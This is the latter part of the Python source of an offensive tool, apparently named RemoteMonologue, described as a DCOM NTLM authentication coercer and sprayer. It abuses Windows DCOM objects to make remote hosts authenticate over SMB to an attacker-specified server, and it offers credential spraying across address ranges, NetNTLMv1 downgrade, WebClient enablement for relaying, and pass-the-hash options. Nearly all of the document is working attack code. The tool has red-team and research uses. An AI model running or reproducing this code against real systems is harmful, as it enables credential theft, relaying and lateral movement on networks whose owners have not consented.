CreateUpdateServiceManager = iUpdateSession.GetIDsOfNames(('CreateUpdateServiceManager',))[0]\n                    hCreateUpdateServiceManager = iUpdateSession.Invoke(CreateUpdateServiceManager, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n\n                    iCreateUpdateServiceManager = IDispatch(self.getInterface(iUpdateSession, hCreateUpdateServiceManager['pVarResult']['_varUnion']['pdispVal']['abData']))\n\n                    pAddScanPackageService = iCreateUpdateServiceManager.GetIDsOfNames(('AddScanPackageService',)) [0]\n                    \n                    AuthenticationCoercer((iCreateUpdateServiceManager, pAddScanPackageService), self.__auth_to, self.__dcom)\n\n                elif (self.__dcom == \"ServerDataCollectorSet\" or self.__dcom == None):\n\n                    # DataManager CLSID for Interactive User authentication\n                    iInterface = dcom.CoCreateInstanceEx(string_to_bin('03837546-098b-11d8-9414-505054503030'), IID_IDispatch)\n\n                    iServerDataCollectorSet = IDispatch(iInterface)\n                    resp = iServerDataCollectorSet.GetIDsOfNames(('datamanager',))[0]\n                    resp = iServerDataCollectorSet.Invoke(resp, 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])\n\n                    iDataManager = IDispatch(self.getInterface(iServerDataCollectorSet, resp['pVarResult']['_varUnion']['pdispVal']['abData']))\n                    pExtract = iDataManager.GetIDsOfNames(('extract',))[0]\n\n                    AuthenticationCoercer((iDataManager, pExtract), self.__auth_to, self.__dcom)              \n\n                elif (self.__dcom == \"FileSystemImage\"):\n                    \n                    # FileSystemImage CLSID for Interactive User authentication\n                    iInterface = dcom.CoCreateInstanceEx(string_to_bin('2C941FC5-975B-59BE-A960-9A2A262853A5'), IID_IDispatch)\n\n                    iFileSystemImage = IDispatch(iInterface)\n                    pWorkingdirectory = iFileSystemImage.GetIDsOfNames(('workingdirectory',))[0]\n\n                    AuthenticationCoercer((iFileSystemImage, pWorkingdirectory), self.__auth_to, self.__dcom)\n\n                elif (self.__dcom == \"MSTSWebProxy\"):\n\n                    # MSTSWebProxy CLSID for Interactive User authentication\n                    iInterface = dcom.CoCreateInstanceEx(string_to_bin('B43A0C1E-B63F-4691-B68F-CD807A45DA01'), IID_IDispatch)\n\n                    iMSTSWebProxy = IDispatch(iInterface)\n                    pStartRemoteDesktop = iMSTSWebProxy.GetIDsOfNames(('StartRemoteDesktop',))[0]\n\n                    AuthenticationCoercer((iMSTSWebProxy, pStartRemoteDesktop), self.__auth_to, self.__dcom)\n\n                    print(text_green + \"[+] Coerced SMB authentication! %+35s\" % self.__address + text_end)\n                    \n                    if self.__output != None:\n                        output_file = open(self.__output, \"a\")\n                        output_file.write(\"[+] Forced SMB authentication for Interactive User,\" + self.__address + \"\\n\")\n                        output_file.close()\n               \n                dcom.disconnect()\n\n            except  (Exception) as e:\n                if str(e).find(\"OAUT SessionError: unknown error code: 0x0\") >= 0:\n                \tlogging.debug(\"Got exepcted 0x0 SessionError\")\n                \tprint(text_green + \"[+] Coerced SMB authentication! %+35s\" % self.__address + text_end)\n\n                \tif self.__output != None:\n                \t    output_file = open(self.__output, \"a\")\n                \t    output_file.write(\"[+] Forced SMB authentication for Interactive User,\" + self.__address + \"\\n\")\n                \t    output_file.close()\n                elif str(e).find(\"DCOM SessionError: code: 0x8000401a - CO_E_RUNAS_LOGON_FAILURE\") >= 0:\n                    logging.debug(\"Got RUNAS_LOGON_FAILURE\")\n                    print(text_blue + \"[~] Local admin but no Interactive User %+47s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[~] Local admin but no Interactive User,\" + self.__address + \"\\n\")\n                    \toutput_file.close()\n                elif str(e).find(\"access_denied\") >= 0:\n                    logging.debug(\"Got ACCESS_DENIED\")\n                    print(text_red + \"[-] Access denied %+69s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[-] Access denied,\" + self.__address + \"\\n\")\n                    \toutput_file.close()\n                elif str(e).find(\"REGDB_E_CLASSNOTREG\") >= 0:\n                    logging.debug(\"Got REGDB_E_CLASSNOTREG\")\n                    print(text_blue + \"[~] Local admin but DCOM class not registered %+41s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[~] DCOM class not registered,\" + self.__address + \"\\n\")\n                    \toutput_file.close()\n                else:\n                    logging.error(str(e))\n                \n                dcom.disconnect()\n                sys.stdout.flush()\n            \n            except KeyboardInterrupt:\n                sys.exit(0)\n\n            dce.disconnect()\n\n        except (Exception) as e:\n            if str(e).find(\"No route to host\") >= 0:\n                    logging.debug(\"No route to host\")\n                    print(text_yellow + \"[!] No route to host %+66s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[!] No route to host,\" + self.__address + \"\\n\")\n                    \toutput_file.close()\n            elif str(e).find(\"Network is unreachable\") >= 0:\n                    logging.debug(\"Network is unreachable\")\n                    print(text_yellow + \"[!] Network is unreachable %+60s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[!] Network is unreachable,\" + self.__address + \"\\n\")\n                    \toutput_file.close()                    \n            elif str(e).find(\"timed out\") >= 0:\n                    logging.debug(\"Connection timed out\")\n                    print(text_yellow + \"[!] Connection timed out %+62s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[!] Connection timed out,\" + self.__address + \"\\n\")\n                    \toutput_file.close()   \n            elif str(e).find(\"Connection refused\") >= 0:\n                    logging.debug(\"Connection refused\")\n                    print(text_yellow + \"[!] Connection refused %+64s\" % self.__address + text_end)\n                    if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[!] Connection refused,\" + self.__address + \"\\n\")\n                    \toutput_file.close()                   \n            else:\n                logging.debug(\"Unkown error: \" + str(e) + \" for \" + self.__address)\n                if self.__output != None:\n                    \toutput_file = open(self.__output, \"a\")\n                    \toutput_file.write(\"[!] Unknown error,\" + self.__address + \"\\n\")\n                    \toutput_file.close()                 \n\n            \n        except KeyboardInterrupt:\n            sys.exit(0)\n            \n        \nclass AuthenticationCoercer():\n\n    def __init__(self, executeUNCpath, auth_to, dcom):\n        self._executeUNCpath = executeUNCpath\n        self._auth_to = auth_to\n        self.__dcom = dcom\n        self.execute_remote()\n        \n        \n    def execute_remote(self):\n    \n        tmpShare = ''.join([random.choice(string.ascii_letters) for _ in range(4)])\n    \n        tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(4)])\n\n        tmpFileName = tmpName + '.txt'\n\n        UNCpath = \"\\\\\\\\%s\\\\%s\\\\%s\" % (self._auth_to, tmpShare, tmpFileName)\n\n        logging.debug('Setting UNC path: %s' % UNCpath)\n\n        if (self.__dcom == \"UpdateSession\" or self.__dcom == \"ServerDataCollectorSet\" or self.__dcom == None):\n\n            dispParams = DISPPARAMS(None, False)\n            dispParams['rgdispidNamedArgs'] = NULL\n            dispParams['cArgs'] = 2\t\n            dispParams['cNamedArgs'] = 0\n            \n            arg0 = VARIANT(None, False)\n            arg0['clSize'] = 5\n            arg0['vt'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['bstrVal']['asData'] = \"XFORCERED\"\n\n            arg1 = VARIANT(None, False)\n            arg1['clSize'] = 5\n            arg1['vt'] = VARENUM.VT_BSTR\n            arg1['_varUnion']['tag'] = VARENUM.VT_BSTR\n            arg1['_varUnion']['bstrVal']['asData'] = UNCpath\n            \n            if (self.__dcom == \"UpdateSession\"):\n                dispParams['rgvarg'].append(arg1)\n                dispParams['rgvarg'].append(arg0)\n            elif (self.__dcom == \"ServerDataCollectorSet\" or self.__dcom == None):\n                dispParams['rgvarg'].append(arg0)\n                dispParams['rgvarg'].append(arg1)\n\n            self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n\n        elif (self.__dcom == \"MSTSWebProxy\"):\n\n            dispParams = DISPPARAMS(None, False)\n            dispParams['rgdispidNamedArgs'] = NULL\n            dispParams['cArgs'] = 2 \n            dispParams['cNamedArgs'] = 0\n            \n            arg0 = VARIANT(None, False)\n            arg0['clSize'] = 5\n            arg0['vt'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['bstrVal']['asData'] = \"C:\\\\windows\\\\syswow64\\\\mstsc.exe\"\n\n            arg1 = VARIANT(None, False)\n            arg1['clSize'] = 5\n            arg1['vt'] = VARENUM.VT_BSTR\n            arg1['_varUnion']['tag'] = VARENUM.VT_BSTR\n            arg1['_varUnion']['bstrVal']['asData'] = \"/edit \" + UNCpath\n            \n            dispParams['rgvarg'].append(arg1)\n            dispParams['rgvarg'].append(arg0)\n\n            self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])\n\n        elif(self.__dcom == \"FileSystemImage\"):\n            \n            # Convert -3 to unsigned 32-bit\n            DISPID_PROPERTYPUT = 0xFFFFFFFD \n\n            dispParams = DISPPARAMS(None, False)\n            dispParams['rgvarg'] = []\n            dispParams['rgdispidNamedArgs'] = [DISPID_PROPERTYPUT]\n            dispParams['cArgs'] = 1\n            dispParams['cNamedArgs'] = 1\n            \n            arg0 = VARIANT(None, False)\n            arg0['clSize'] = 12\n            arg0['vt'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['tag'] = VARENUM.VT_BSTR\n            arg0['_varUnion']['bstrVal']['asData'] = UNCpath\n\n            dispParams['rgvarg'].append(arg0)\n\n            self._executeUNCpath[0].Invoke(self._executeUNCpath[1], 0x000, DISPATCH_PROPERTYPUT, dispParams, 0, [], [])\n       \n\nclass AuthFileSyntaxError(Exception):\n\n    '''raised by load_smbclient_auth_file if it encounters a syntax error\n    while loading the smbclient-style authentication file.'''\n\n    def __init__(self, path, lineno, reason):\n        self.path=path\n        self.lineno=lineno\n        self.reason=reason\n\n    def __str__(self):\n        return 'Syntax error in auth file %s line %d: %s' % (\n            self.path, self.lineno, self.reason )\n\ndef load_smbclient_auth_file(path):\n\n    '''Load credentials from an smbclient-style authentication file (used by\n    smbclient, mount.cifs and others).  returns (domain, username, password)\n    or raises AuthFileSyntaxError or any I/O exceptions.'''\n\n    lineno=0\n    domain=None\n    username=None\n    password=None\n    for line in open(path):\n        lineno+=1\n\n        line = line.strip()\n\n        if line.startswith('#') or line=='':\n            continue\n\n        parts = line.split('=',1)\n        if len(parts) != 2:\n            raise AuthFileSyntaxError(path, lineno, 'No \"=\" present in line')\n\n        (k,v) = (parts[0].strip(), parts[1].strip())\n\n        if k=='username':\n            username=v\n        elif k=='password':\n            password=v\n        elif k=='domain':\n            domain=v\n        else:\n            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))\n\n    return (domain, username, password)\n\n\ndef parseServers(server):\n    if '/' not in server:\n        return [server]\n    (ip, cidr) = server.split('/')\n    cidr = int(cidr)\n    host_bits = 32 - cidr\n    i = struct.unpack('>I', socket.inet_aton(ip))[0]\n    start = (i >> host_bits) << host_bits\n    end = i | ((1 << host_bits) - 1)\n    ret = []\n    for i in range(start, end):\n        ret.append(socket.inet_ntoa(struct.pack('>I', i)))\n    return ret\n\n# Process command-line arguments.\nif __name__ == '__main__':\n\n    print(text_green + \"\"\"\n __   ___        __  ___  ___        __        __        __   __        ___ \n|__) |__   |\\/| /  \\  |  |__   |\\/| /  \\ |\\ | /  \\ |    /  \\ / _` |  | |__  \n|  \\ |___  |  | \\__/  |  |___  |  | \\__/ | \\| \\__/ |___ \\__/ \\__> \\__/ |___ \n                                                                            \n                                  \n                        v1.1 - @AndrewOliveau\n                                                \"\"\" + text_end)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"DCOM NTLM authentication coercer and sprayer\")\n    \n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-dcom', action='store', metavar = \"\", help='DCOM object  - ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)')                      \n    parser.add_argument('-auth-to', action='store', metavar = \"ip address\", help='Server for Interactive User to authenticate to over SMB')\n    parser.add_argument('-spray', action='store_true', default = False,\n                        help='Spray credentials against provided list of systems. Filename must be provided in domain/user@FILE')\n    parser.add_argument('-query', action='store_true', default = False, help='Query users logged on the target system')\n    parser.add_argument('-downgrade', action='store_true', default = False,\n                        help='Run attack with NetNTLMv1 downgrade')\n    parser.add_argument('-webclient', action='store_true', default = False,\n                        help='Enable the WebClient service to receive HTTP authentications for NTLM relaying')\n    parser.add_argument('-output', action='store', metavar = \"filename\", help='Output results to file')\n    parser.add_argument('-timeout', action='store', default=5, help='socket timeout out when connecting to the target (default 5 sec)')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-A', action=\"store\", metavar = \"authfile\", help=\"smbclient/mount.cifs-style authentication file. \"\n                                                                        \"See smbclient man page's -A option.\")\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts)\n\n    if options.debug is True:\n        logging.getLogger().setLevel(logging.DEBUG)\n        # Print the Library's installation path\n        #logging.debug(version.getInstallationPath())\n    else:\n        logging.getLogger().setLevel(logging.INFO)\n\n\n    if options.dcom not in [\"ServerDataCollectorSet\", \"FileSystemImage\", \"UpdateSession\", \"MSTSWebProxy\", None]:\n        logging.error(\"Incorrect -dcom option. Choose: ServerDataCollectorSet (default), FileSystemImage, MSTSWebProxy, UpdateSession (SYSTEM)\")\n        sys.exit(0)\n\n    if options.downgrade and options.webclient:\n        logging.error(\"You can't use -downgrade and -webclient at the same time. Choose one.\")\n        sys.exit(0)\n\n    if (options.auth_to == None and options.query == False):\n        logging.error(\"Must specify the server for the target to authenticate to (-auth-to)\")\n        sys.exit(0)     \n\n\n    if options.spray == False:\n        domain, username, password, address = parse_target(options.target)\n    else:\n        domain, username, password, addresses = parse_target(options.target)\n\n    try:\n        if options.A is not None:\n            (domain, username, password) = load_smbclient_auth_file(options.A)\n            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))\n\n        if domain is None:\n            domain = ''\n\n        if options.keytab is not None:\n            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)\n            options.k = True\n\n        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n            password = getpass(\"Password:\")\n\n        if options.aesKey is not None:\n            options.k = True\n        if options.spray:\n            user_resp = str(input(\"\\n[?] You're about to spray credentials. PLEASE BE CAREFUL NOT TO LOCKOUT ACCOUNTS! Continue? (y/N): \"))\n            if user_resp == \"y\":\n                targets = []\n                if os.path.isfile(addresses):\n                    with open(addresses) as serverfile:\n                        for line in serverfile:\n                            if line.strip():\n                                targets.extend(parseServers(line.strip()))                   \n\n                for x in range(len(targets)):\n                    address = targets[x]\n                    executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey,\n                            options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient, options.timeout)\n                    executer.run()\n                    \n        else:\n\n            executer = RemoteMonologue(username, password, domain, address, options.hashes, options.aesKey,\n                        options.k, options.dc_ip,options.auth_to, options.output, options.dcom, options.downgrade, options.webclient)\n\n            if options.query:\n                executer.run_query()\n            else:\n                executer.run()\n\n    except (Exception, KeyboardInterrupt) as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n\n    sys.exit(0)\n"
  }
]